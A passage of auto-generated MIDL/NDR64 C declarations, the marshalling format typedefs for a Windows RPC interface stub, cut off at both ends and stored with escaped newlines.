frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag909_t;\nextern const __midl_frag909_t __midl_frag909;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag908_t;\nextern const __midl_frag908_t __midl_frag908;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_NO_REPEAT_FORMAT frag1;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2;\n        struct _NDR64_POINTER_FORMAT frag3;\n        NDR64_FORMAT_CHAR frag4;\n    } frag2;\n}\n__midl_frag907_t;\nextern const __midl_frag907_t __midl_frag907;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag906_t;\nextern const __midl_frag906_t __midl_frag906;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag903_t;\nextern const __midl_frag903_t __midl_frag903;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_REPEAT_FORMAT frag1;\n        struct \n        {\n            struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag1;\n            struct _NDR64_POINTER_FORMAT frag2;\n        } frag2;\n        NDR64_FORMAT_CHAR frag3;\n    } frag2;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag3;\n}\n__midl_frag902_t;\nextern const __midl_frag902_t __midl_frag902;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_MEMPAD_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag6;\n    } frag2;\n}\n__midl_frag901_t;\nextern const __midl_frag901_t __midl_frag901;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_NO_REPEAT_FORMAT frag1;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2;\n        struct _NDR64_POINTER_FORMAT frag3;\n        NDR64_FORMAT_CHAR frag4;\n    } frag2;\n}\n__midl_frag900_t;\nextern const __midl_frag900_t __midl_frag900;\n\ntypedef \nstruct \n{\n    struct _NDR64_FIX_ARRAY_HEADER_FORMAT frag1;\n}\n__midl_frag899_t;\nextern const __midl_frag899_t __midl_frag899;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n}\n__midl_frag898_t;\nextern const __midl_frag898_t __midl_frag898;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag897_t;\nextern const __midl_frag897_t __midl_frag897;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_OPERATOR frag2;\n    struct _NDR64_EXPR_VAR frag3;\n    struct _NDR64_EXPR_CONST64 frag4;\n}\n__midl_frag896_t;\nextern const __midl_frag896_t __midl_frag896;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag895_t;\nextern const __midl_frag895_t __midl_frag895;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n    } frag2;\n}\n__midl_frag894_t;\nextern const __midl_frag894_t __midl_frag894;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_OPERATOR frag2;\n    struct _NDR64_EXPR_VAR frag3;\n    struct _NDR64_EXPR_CONST64 frag4;\n}\n__midl_frag893_t;\nextern const __midl_frag893_t __midl_frag893;\n\ntypedef \nstruct \n{\n    struct _NDR64_NON_ENCAPSULATED_UNION frag1;\n    struct _NDR64_UNION_ARM_SELECTOR frag2;\n    struct _NDR64_UNION_ARM frag3;\n    struct _NDR64_UNION_ARM frag4;\n    struct _NDR64_UNION_ARM frag5;\n    struct _NDR64_UNION_ARM frag6;\n    struct _NDR64_UNION_ARM frag7;\n    NDR64_UINT32 frag8;\n}\n__midl_frag892_t;\nextern const __midl_frag892_t __midl_frag892;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_REGION_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag3;\n        struct _NDR64_BUFFER_ALIGN_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n    } frag2;\n}\n__midl_frag891_t;\nextern const __midl_frag891_t __midl_frag891;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_VAR_BOGUS_ARRAY_HEADER_FORMAT frag1;\n}\n__midl_frag889_t;\nextern const __midl_frag889_t __midl_frag889;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_MEMPAD_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n    } frag2;\n}\n__midl_frag888_t;\nextern const __midl_frag888_t __midl_frag888;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_NO_REPEAT_FORMAT frag1;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2;\n        struct _NDR64_POINTER_FORMAT frag3;\n        NDR64_FORMAT_CHAR frag4;\n    } frag2;\n}\n__midl_frag887_t;\nextern const __midl_frag887_t __midl_frag887;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n}\n__midl_frag886_t;\nextern const __midl_frag886_t __midl_frag886;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n}\n__midl_frag885_t;\nextern const __midl_frag885_t __midl_frag885;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n    } frag2;\n}\n__midl_frag884_t;\nextern const __midl_frag884_t __midl_frag884;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag883_t;\nextern const __midl_frag883_t __midl_frag883;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag882_t;\nextern const __midl_frag882_t __midl_frag882;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag878_t;\nextern const __midl_frag878_t __midl_frag878;\n\ntypedef \nstruct \n{\n    struct _NDR64_NON_ENCAPSULATED_UNION frag1;\n    struct _NDR64_UNION_ARM_SELECTOR frag2;\n    struct _NDR64_UNION_ARM frag3;\n    struct _NDR64_UNION_ARM frag4;\n    struct _NDR64_UNION_ARM frag5;\n    struct _NDR64_UNION_ARM frag6;\n    struct _NDR64_UNION_ARM frag7;\n    struct _NDR64_UNION_ARM frag8;\n    struct _NDR64_UNION_ARM frag9;\n    struct _NDR64_UNION_ARM frag10;\n    struct _NDR64_UNION_ARM frag11;\n    NDR64_UINT32 frag12;\n}\n__midl_frag877_t;\nextern const __midl_frag877_t __midl_frag877;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_NO_REPEAT_FORMAT frag1;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2;\n        struct _NDR64_POINTER_FORMAT frag3;\n        NDR64_FORMAT_CHAR frag4;\n    } frag2;\n}\n__midl_frag875_t;\nextern const __midl_frag875_t __midl_frag875;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag3;\n        struct _NDR64_BUFFER_ALIGN_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n    } frag2;\n}\n__midl_frag874_t;\nextern const __midl_frag874_t __midl_frag874;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_RANGE_FORMAT frag2;\n    struct _NDR64_EXPR_VAR frag3;\n}\n__midl_frag873_t;\nextern const __midl_frag873_t __midl_frag873;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_VAR_BOGUS_ARRAY_HEADER_FORMAT frag1;\n}\n__midl_frag872_t;\nextern const __midl_frag872_t __midl_frag872;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n    } frag2;\n}\n__midl_frag871_t;\nextern const __midl_frag871_t __midl_frag871;\n\ntypedef \nstruct _NDR64_CONTEXT_HANDLE_FORMAT\n__midl_frag869_t;\nextern const __midl_frag869_t __midl_frag869;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n}\n__midl_frag868_t;\nextern const __midl_frag868_t __midl_frag868;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag865_t;\nextern const __midl_frag865_t __midl_frag865;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag860_t;\nextern const __midl_frag860_t __midl_frag860;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag859_t;\nextern const __midl_frag859_t __midl_frag859;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag858_t;\nextern const __midl_frag858_t __midl_frag858;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n}\n__midl_frag855_t;\nextern const __midl_frag855_t __midl_frag855;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n}\n__midl_frag849_t;\nextern const __midl_frag849_t __midl_frag849;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n}\n__midl_frag839_t;\nextern const __midl_frag839_t __midl_frag839;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag831_t;\nextern const __midl_frag831_t __midl_frag831;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag830_t;\nextern const __midl_frag830_t __midl_frag830;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag829_t;\nextern const __midl_frag829_t __midl_frag829;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n    struct _NDR64_PARAM_FORMAT frag10;\n}\n__midl_frag823_t;\nextern const __midl_frag823_t __midl_frag823;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n}\n__midl_frag815_t;\nextern const __midl_frag815_t __midl_frag815;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_NO_REPEAT_FORMAT frag1;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2;\n        struct _NDR64_POINTER_FORMAT frag3;\n        struct _NDR64_NO_REPEAT_FORMAT frag4;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag5;\n        struct _NDR64_POINTER_FORMAT frag6;\n        struct _NDR64_NO_REPEAT_FORMAT frag7;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag8;\n        struct _NDR64_POINTER_FORMAT frag9;\n        NDR64_FORMAT_CHAR frag10;\n    } frag2;\n}\n__midl_frag802_t;\nextern const __midl_frag802_t __midl_frag802;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag801_t;\nextern const __midl_frag801_t __midl_frag801;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_NO_REPEAT_FORMAT frag1;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2;\n        struct _NDR64_POINTER_FORMAT frag3;\n        NDR64_FORMAT_CHAR frag4;\n    } frag2;\n}\n__midl_frag799_t;\nextern const __midl_frag799_t __midl_frag799;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag798_t;\nextern const __midl_frag798_t __midl_frag798;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag797_t;\nextern const __midl_frag797_t __midl_frag797;\n\ntypedef \nstruct \n{\n    struct _NDR64_NON_ENCAPSULATED_UNION frag1;\n    struct _NDR64_UNION_ARM_SELECTOR frag2;\n    struct _NDR64_UNION_ARM frag3;\n    struct _NDR64_UNION_ARM frag4;\n    NDR64_UINT32 frag5;\n}\n__midl_frag796_t;\nextern const __midl_frag796_t __midl_frag796;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag3;\n        struct _NDR64_BUFFER_ALIGN_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n    } frag2;\n}\n__midl_frag795_t;\nextern const __midl_frag795_t __midl_frag795;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag794_t;\nextern const __midl_frag794_t __midl_frag794;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n}\n__midl_frag791_t;\nextern const __midl_frag791_t __midl_frag791;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag789_t;\nextern const __midl_frag789_t __midl_frag789;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n}\n__midl_frag784_t;\nextern const __midl_frag784_t __midl_frag784;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n}\n__midl_frag780_t;\nextern const __midl_frag780_t __midl_frag780;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag777_t;\nextern const __midl_frag777_t __midl_frag777;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n    } frag2;\n}\n__midl_frag776_t;\nextern const __midl_frag776_t __midl_frag776;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag775_t;\nextern const __midl_frag775_t __midl_frag775;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n    struct _NDR64_POINTER_FORMAT frag2;\n}\n__midl_frag774_t;\nextern const __midl_frag774_t __midl_frag774;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag2;\n        struct _NDR64_MEMPAD_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n    } frag2;\n}\n__midl_frag771_t;\nextern const __midl_frag771_t __midl_frag771;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag770_t;\nextern const __midl_frag770_t __midl_frag770;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n}\n__midl_frag769_t;\nextern const __midl_frag769_t __midl_frag769;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n        struct _NDR64_MEMPAD_FORMAT frag5;\n        struct _NDR64_BUFFER_ALIGN_FORMAT frag6;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag7;\n    } frag2;\n}\n__midl_frag767_t;\nextern const __midl_frag767_t __midl_frag767;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag766_t;\nextern const __midl_frag766_t __midl_frag766;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_NO_REPEAT_FORMAT frag1;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2;\n        struct _NDR64_POINTER_FORMAT frag3;\n        struct _NDR64_NO_REPEAT_FORMAT frag4;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag5;\n        struct _NDR64_POINTER_FORMAT frag6;\n        struct _NDR64_NO_REPEAT_FORMAT frag7;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag8;\n        struct _NDR64_POINTER_FORMAT frag9;\n        NDR64_FORMAT_CHAR frag10;\n    } frag2;\n}\n__midl_frag762_t;\nextern const __midl_frag762_t __midl_frag762;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag761_t;\nextern const __midl_frag761_t __midl_frag761;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_NO_REPEAT_FORMAT frag1;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2;\n        struct _NDR64_POINTER_FORMAT frag3;\n        NDR64_FORMAT_CHAR frag4;\n    } frag2;\n}\n__midl_frag759_t;\nextern const __midl_frag759_t __midl_frag759;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag758_t;\nextern const __midl_frag758_t __midl_frag758;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_OPERATOR frag2;\n    struct _NDR64_EXPR_CONST64 frag3;\n    struct _NDR64_EXPR_VAR frag4;\n}\n__midl_frag757_t;\nextern const __midl_frag757_t __midl_frag757;\n\ntypedef \nstruct \n{\n    struct _NDR64_NON_ENCAPSULATED_UNION frag1;\n    struct _NDR64_UNION_ARM_SELECTOR frag2;\n    struct _NDR64_UNION_ARM frag3;\n    struct _NDR64_UNION_ARM frag4;\n    struct _NDR64_UNION_ARM frag5;\n    struct _NDR64_UNION_ARM frag6;\n    NDR64_UINT32 frag7;\n}\n__midl_frag756_t;\nextern const __midl_frag756_t __midl_frag756;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag3;\n        struct _NDR64_BUFFER_ALIGN_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n    } frag2;\n}\n__midl_frag755_t;\nextern const __midl_frag755_t __midl_frag755;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n}\n__midl_frag751_t;\nextern const __midl_frag751_t __midl_frag751;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag743_t;\nextern const __midl_frag743_t __midl_frag743;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag742_t;\nextern const __midl_frag742_t __midl_frag742;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag741_t;\nextern const __midl_frag741_t __midl_frag741;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n}\n__midl_frag737_t;\nextern const __midl_frag737_t __midl_frag737;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag728_t;\nextern const __midl_frag728_t __midl_frag728;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag727_t;\nextern const __midl_frag727_t __midl_frag727;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n}\n__midl_frag723_t;\nextern const __midl_frag723_t __midl_frag723;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag720_t;\nextern const __midl_frag720_t __midl_frag720;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag716_t;\nextern const __midl_frag716_t __midl_frag716;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag715_t;\nextern const __midl_frag715_t __midl_frag715;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n}\n__midl_frag709_t;\nextern const __midl_frag709_t __midl_frag709;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n    struct _NDR64_PARAM_FORMAT frag10;\n}\n__midl_frag693_t;\nextern const __midl_frag693_t __midl_frag693;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n}\n__midl_frag673_t;\nextern const __midl_frag673_t __midl_frag673;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n}\n__midl_frag665_t;\nextern const __midl_frag665_t __midl_frag665;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n}\n__midl_frag651_t;\nextern const __midl_frag651_t __midl_frag651;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT 